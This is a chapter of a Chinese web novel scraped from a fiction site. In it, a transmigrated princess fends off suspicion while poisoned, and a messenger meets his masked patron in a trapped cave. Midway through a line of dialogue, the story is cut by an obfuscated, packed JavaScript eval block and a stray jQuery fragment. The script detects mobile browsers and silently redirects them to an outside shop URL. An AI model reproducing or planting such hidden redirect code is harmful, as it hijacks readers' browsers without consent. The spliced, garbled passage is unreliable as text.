文趣网 > 其他小说 > 珍珠与油纸伞 > 8. 薨逝
    窗内女子似是听到了鸢说的话,小咳两声赶忙制止,趁鸢愣神之际前去将她手里的信封拿下,转头把原信封与她刚写好的书信透过窗递给黑衣男子,又抬首向黑衣男子挑了挑眉,明面上是想让黑衣男子拿上这两件信件赶忙离开,实际上她是怕鸢将信件里的东西念出来,最后坏了计划。

    在黑衣男子从侍传信两年以来,一般每每苏醒后的王妃都会变得奇怪,他不知王妃从前是何模样,只知寻常皇亲国戚与别家名门贵女虽知礼数。但一般都是娇弱难自理,又喜互相攀比、妇家心肠手段了得,唯有个别私塾家女或是将军小女做事坦荡又有智有谋,胜得他心。

    今日就见苏醒后的王妃不仅会武功且动作行云流水,确与他心之所向相媲,但瞧着人干瘦如柴、没个人形,他不解主子怎吃得下。

    目前发现的这些事他还需要如实禀报给那位跟随已久的干爹去。两年前,若不是经干爹提携,他还未必能小小年纪就在心中天骄——萧凌川手下做事,不过那位干爹脾性古怪,他虽跟随已久但依旧琢磨不透,待每每交接时,那位干爹一直以面具示他,并从未露过真容,他也只是猜测干爹许是官场上某位大能不便露面或是他目前能力还不够格,于是他为了早日一见干爹真容,便应了任务,从心心念念的军队小兵调度成了如今这般传信之人,只是他不解为何干爹要求拿到信后要先交于他翻看一遍而后再转回主子手里,不过既是干爹的意思,他无脑跟做便是。

    黑衣男子瞥见信件从窗内递出,他也不做多停留,二话不说拿上信件后就以轻功离开。

    屋内,窗内女子见信已被拿走且黑衣男子也没了踪影,于是转头将还在原地呆愣的鸢从桌上拉下,为避免她像方才那样回击又怕她摔着,于是窗内女子一只手将鸢的两只小臂紧握在手掌里,又腾出一只手垫在她脑后将她抵在墙上,虽表情严厉但两眼放光地紧盯鸢的双眼,认真道:“宫廷玉液酒?”

    鸢被牵制的动弹不得,借此机会仔细瞧了瞧眼前窗内女子容颜,只见她眉目清绝、眉峰微挑,一双丹凤眼清冷疏离、似若寒星却又堪堪流露出一丝苦味与期待,她不似寻常杂役丫鬟,唇珠与面上并未涂抹胭脂粉黛,穿着依旧素净似是决心要与世隔绝一般,但并未减弱半分身上的威风气势。

    窗内女子手上的力道不减反增,鸢隐约能感受到她手掌上零星散布的茧,并非是长期训练而磨出的老茧,而像是因做农活较多磨出的新茧,里面还参着些木刺,有些扎人。

    方才,鸢到桌上后其实只呆愣了一瞬,即便她在末世身经百战,但对于极限距离的翻越若不借助异能很难完成,可她从桌旁翻身上桌的那一套动作如此行云流水,甚至并未去刻意看落脚点,最后却稳稳站在桌上,似是早已经历过无数次,且与窗内女子交手时,她还未想好如何拆招,身体却比她先一步动作,她心里震惊道:原主武功竟然这么厉害!那能让原主身中危毒之人必是不及小人之辈。

    思绪渐回,见窗内女子暗冷的眼神,鸢这才想起窗内女子的问题——‘宫廷玉液酒’,此等暗号更让她确信原主定是胎穿而来的。

    鸢没犹豫,本想脱口而出,却在说了一个“一”字后开始结巴,她抿了抿唇想好了办法后,断断续续回道:“百、八、一、杯。”

    她本想将后面的词一并说完,但对暗号自古是你一句我一句,说多了难免会让对方起疑,何况她还是个结巴,窗内女子对她有无耐心这件事,她不敢豪赌。

    可她话音已落许久,手上的力道依旧不减。难道,是她猜错了?这暗号难不成是为了检测原主魂魄是不是穿越者专门设立的,若是如此,她可真就中计了。

    窗内女子只是紧盯不语,见对面穿着王妃外皮的女子眼神心虚、渐露马脚,心里便了然,可她还是不解方才她那几招是如何出手干脆,接的又稳又妥的,窗内女子拧眉问道:“你从哪学得‘凌空虚步’之招?”

    鸢只觉得名称熟悉但毫无记忆,她又能如何解说,见窗内女子眼神似是早已看穿她的伪装,纠结半刻还是决定实话道来。

    她摇摇头,边用手比划着边堪堪回道:“我、不…知,本…能、反…应。”

    见鸢眼神清澈真诚,窗内女子便不再追问此事。她话锋一转,本想问些别的,却见鸢头上缓缓冒出细银丝,面色越发苍白,胸口起伏加重。

    窗内女子语气急切:“我方才对你并未用力,也瞧你并未使用内力,怎的如此虚弱?”

    像鸢这样套上沈观雪的皮囊虚弱如此强度的样子她见过三次,而次次都是因体内毒发至晕,接着下一个轮回。

    只是这次虽说话坎坷,但她不论行事姿态;或是眉目表情都最像原来的沈观雪,可却刚醒还未撑过一天竟就开始毒发,她本该习惯或应事不关己,可现下的感受与三年前太像了,她有些后怕,更何况她还有话没问完。

    鸢眼神涣散,但还是努力让头脑清醒,她喘着粗气想了想,尽可能以最简便的话语表达,艰难比划回道:“身、体、本…就、欠佳,方、才、太…过、耗、力。”

    见那窗内女子眼神甚是担忧,又安慰道:“无、碍……”

    话落,她便晕了过去。

    *

    深山老破庙里,一处因经久未打理而被腐蚀破裂的高大佛像旁暗藏玄机,只见黑衣男子稍稍扭动一旁的长柄香炉,只一瞬那高大佛像像也随之转动发出“轰——隆——”震响,不少灰渣从天倾下,落至黑衣男子的肩膀处。

    此地,是黑衣男子送信的必经之路,不仅偏僻无人注意,就算发出响动,也不会传到那乡间田野里去。

    待佛像自转完后,佛像下身便悠悠开启一扇石门,而石门里与地下链接的是一条长长的陡梯,光线自外至内由亮变暗,而陡梯又窄又密。

    待黑衣男子跟着陡梯下到地下,又经漫长黝黑的长廊后便见下一个洞口,洞内有火把指引,随着火把光源不同方位来到由麻绳捆绑的爬梯处。爬上一层便到了机关处,不过这机关处是专门设给闯入者的,过完一关紧接一关,毫不给人喘息机会,且此洞内共设有十扇门,每扇门内都设有不同的玄机。

    若不是干爹在他此次出发送信前告知他洞内石壁上留有暗号,就算他轻功再了得,面前的十扇门也得花费他不少时间。

    黑衣男子不敢松懈,暗号为图形,刻在石壁上本就不易,呈现的效果也只会是乱七八糟、奇形怪状。不过他总觉得那干爹定是大能,现下只不过是在考验他罢了,他找到暗号后反复与手里小抄对应许久,这才敢按着顺序一一在暗号处按下机关。

    待黑衣男子按下最后一个暗号后,脚下便突然开启一道暗门,他没来得及反应,只在空中滞留片刻后就掉了下去。

    落地后他翻滚一圈作为缓冲,起身后一边拍了拍身上粘连的灰尘,一边睁大眼伸着脑袋仔细瞧着四周。

    先前与那干爹汇面时,不是在某溢香楼小阁就是在某青楼厢房里,此地他还是头次来。

    这里虽漆黑空旷,但却有零星水波光点散落在地,他抬首向头上的石壁看去,这才发现上面挂着一些瓶瓶罐罐,里面装着的东西呈青蓝色流沙状,看久了叫人忍不住想伸手一摸。

    “别动。”

    不远处传来一声暗语诫告将被迷惑的黑衣男子思绪拉回。

    他寻声向远处看去,只见金丝楠木做成的交椅上,正侧卧着一位身披黑袍,又以面颊半遮面的男人。

    那男人外形看着还未达弱冠之年,声音也听着青涩,似是少年故意压低加上面颊遮脸部位正好挡住口鼻处,这才听着稍稍成熟些。

    “干爹。”

    黑衣男子很快认出来那人是谁,赶忙单膝跪地、抱拳行礼。

    “里面是毒,你若不怕死也可牺牲做我的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738571|209064||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    试验品。”那干爹见他被吓住,便改口道:“行了,不必做这等虚浮事,我问你,今日怎来的如此慢?”

    交椅上的男人虽躺的悠闲自得,但话里间语气又重又急。

    黑衣男子有些忐忑,怕干爹对他失望又怕眼下好不容易得来的差事因这次疏忽而丢了,他知干爹说‘虚浮事’为客套话,急忙叩拜编谎道:“是那沈观雪醒了,这才耽搁些。”

    “哦?说来听听。”

    见干爹语气放缓、有了兴致,他心里长舒一口气,顺着先前编的谎继续道:“今日苏醒的沈观雪会武力,与我交手一番,若不是她体内余毒未了,加上那丫鬟软玉同在,我恐难逃其手。”

    干爹听见后瞬间从交椅上翻身坐起,他向黑衣男子伸手急切道:“信,给我。”

    黑衣男子不解,这信不论从任何角度去看都与干爹无关,他这么着急做什么?

    他也只敢在心里嘀咕两句,很快便将信封与那窗内女子写的回信一并交出。

    “这上面的鬼画符,你可知是何意思?”

    黑衣男子见干爹对他指着那一长串数字询问,他只觉的天要塌了。他是在跟了萧凌川,被派去送信后才通过软玉知晓这一长串鬼画符名为数字,可究其含义萧凌川从没教过他,或者说在萧凌川手下做事的人除了软玉知晓其中暗译,其他人一概不知,或许还需加个沈观雪在其中。

    干爹见他支支吾吾擦汗的模样便不再追问,但萧凌川三年传信中,他从未见过信封里会有这等鬼画符,如今却突然冒出,他十有八九猜了个大概。

    “凉,这信你不必再传,回去就说王妃薨逝了。”

    凉心里一惊,但又仔细一想,若是按照干爹的意思做,主子就不会再有那般魂不守舍的样子,从前的英气或许会重新归身。

    “是!”

    凉刚刚要转身就走却又被干爹叫住,他回身看去,引入眼帘的却是一枚令牌。

    他心里又惊又喜,兴奋道:“干爹这是愿意让我一视真容了?”

    “嗯,三日后,我会去找你。”

    凉虽在萧凌川手下做事也将萧凌川视为天骄,但干爹身姿形态似比萧凌川年幼,又能将他直塞入萧凌川手下做事,如此大能他若能瞧上一眼混个脸熟,想必将来定会比萧凌川走的更高。

    “是!谢谢干爹!”他接住玉佩后又蹦又跳地离开。

    *

    “老鹊,你快瞧瞧!这次醒来不过两个时辰,怎的就会晕过去?”

    软玉语气焦急,在屋内来回踱步。

    老鹊两手一拍,无奈道:“我方才不是说过了嘛,她这是吃了刺激东西,坏了肠胃,调理两天就好了噻。”

    软玉翻了个白眼,跺了跺脚急切道:“可我也说了,我并未给她过任河吃食,且这院内并未设过灶台,她又从哪弄来的刺激东西!”

    老鹊两手一摊:“所以我不是说待她醒来后去问她噻。”

    软玉不解,两手插在腰间:“哪有人吃坏肚子晕好几日的!究竟多久醒你倒是说啊!也不知萧凌川派你个无能老辈跟来有什么用!饭是做的好吃,不如弃医从厨!”

    老鹊也不争,和软玉嘴斗三年他就没输过,收拾好医箱边走边回道:“我不是说了看她的造化嘛!确是一把老骨头喽~你是小辈,你行你上呗。这半夜三更的,老头子我遭不住,就先行回去休息了。”

    软玉被气得不轻,见老鹊渐行渐远,冲他的背影吼道:“老鹊!你个老赖!信不信我杀了你!”

    “哎呦——人老了!耳朵也不好使!你说什么!我听不清!”

    老鹊早已不见身影,唯有话音逐字传来且铿锵有力,不像别的老朽那般谈吐迟缓、嗓似含痰。

    软玉又气又无奈。

    老鹊的医术她是心知肚明,这次是她太过焦躁了,她叹了口气,小声嘀咕:“老顽童……”